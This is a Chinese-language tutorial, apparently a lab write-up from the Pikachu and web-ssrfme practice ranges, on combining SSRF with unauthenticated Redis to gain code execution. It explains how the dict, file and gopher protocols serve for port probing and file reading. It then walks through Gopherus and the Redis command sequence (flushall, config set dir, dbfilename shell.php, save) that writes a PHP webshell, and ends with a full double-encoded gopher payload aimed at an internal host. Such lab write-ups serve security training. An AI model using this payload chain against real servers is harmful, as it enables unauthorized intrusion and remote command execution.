SSRF漏洞与redis未授权访问的共同利用

1.利用靶场Pikachu来认识SSRF漏洞

1.什么是SSRF

SSRF漏洞允许攻击者通过向服务器发起请求来伪造请求。这种漏洞的核心在于攻击者能够控制服务器向任意目标地址发起请求,而这些请求通常是攻击者无法直接从客户端发起的。

简单来说,假设你的网站有一个功能,它允许用户输入一个网址,并从该网址获取信息。这时候,如果网站的服务器没有足够的安全控制,攻击者可能会通过提交特定的地址,诱使服务器去访问攻击者指定的内部或外部资源。

如图,本来靶场是访问他自己指定的资源的这一首诗,当我把后面的请求网址改成百度以后,靶场就访问到了百度

这样看SSRF好像也没有什么大危害,接下来,认识几个curl支持的协议,这些协议可以帮助SSRF更好的完成你想要的入侵

2.curl协议

1.dict协议(http协议作用一样,可以探测服务端口)

本来是一种字典协议,用得特别少,但是他可以读取MySQL的部分返回内容,这就有点用处了,当我用这个协议访问开启的端口的时候,会有返回值,但是访问其他端口时没有返回值,这就可以让我知道他的一些特定端口开了没有,有没有这个服务,比如mysql:3306,redis:6379

2.file协议

可以读取文件

这里还能读取到MySQL的账号密码,如果开启了远程连接,可以直接登上去,但是这个MySQL的连接文件路径要猜,不然获取不了

3.gopher协议

Gopher 协议是一种早期的互联网协议,主要用于创建和访问层次化的信息目录。某些服务在处理请求时未正确过滤或处理 Gopher 协议,导致它们可以通过 Gopher 协议访问内部服务或敏感数据。

1.可以用gopherus工具来生成payload

1.选项里面的Reverseshell是我们后面的写任务计划要的反弹shell,在这里我们选PHPshell是要写入进去shell

2.选项是要选择网站的物理路径,这一般是默认的值,要么就要你猜了

3.写入你想要的webshell(<?php phpinfo();?>)

4.生成了一个url编码过后的地址

解码可以看到是这样的

2.redis的写入的命令格式

复制代码
gopher://127.0.0.1:6379/_*1
$8                              $表示接下来的字符长度是8
flushall                        删除 Redis 数据库中的所有数据,避免干扰
*3                              *3表示接下来是有三个元素的数组
$3                              第一个元素的长度是3
set                             第一个元素
$1                              第二个元素长度是1
1                               第二个元素
$22                             第三个元素的长度是22


<?php phpinfo();?>              第三个元素


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

完整的取出来是这样几条命令

  1. flushall:清除 Redis 中所有的键值对,数据库为空。
  2. set 1 <?php phpinfo();?>:key 1 被设置为 <?php phpinfo();?>
  3. config set dir /var/www/html:Redis 数据目录设置为 /var/www/html
  4. config set dbfilename shell.php:Redis 数据文件名设置为 shell.php
  5. save:将当前 Redis 数据库保存到磁盘。

3.了解了上面的东西,利用ssrfme靶场结合redis的未授权访问可以干的事

靶场是web-ssrfme

**因为过滤了file和dict所以就无法用上面的方法,但是用http协议进行bp爆破,**除了80 端口,就没有其他的端口了

根据这个代码,输入一个info,得到了phpinfo界面

在phpinfo里面找到一个可能是内网的IP,猜测还有其他的服务器,发现****172.18.0.2:80,有可能也是一台web服务器,因为他有不同的静态页面GO away1

看能不能利用http协议把这台服务器开放的服务用bp给爆破出来

可以看出这台服务器的****6379端口是开着的

尝试了直接用gopherus工具用默认的路径来攻击,无法写入shell,就算把gopherus生成的payload进行二次url编码也没有用。

正常的入侵要用字典去爆破除了html的其他目录,这里我就用上帝视角知道html下面还有一个upload目录

1.写入webshell

gopherus生成的payload

发现还是要二次编码才可以成功

二次编码

复制代码
gopher://172.18.0.2:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252426%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527id%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
相关推荐
DevSecOps选型指南5 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化5 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥5 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
阿部多瑞 ABU6 小时前
主流大语言模型安全性测试(三):阿拉伯语越狱提示词下的表现与分析
人工智能·安全·ai·语言模型·安全性测试
网安INF7 小时前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_7 小时前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学
moongoblin8 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA8 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
这儿有一堆花10 小时前
安全访问家中 Linux 服务器的远程方案 —— 专为单用户场景设计
linux·服务器·安全
上海云盾第一敬业销售13 小时前
高防IP可以防护什么攻击类型?企业网络安全的第一道防线
网络·tcp/ip·web安全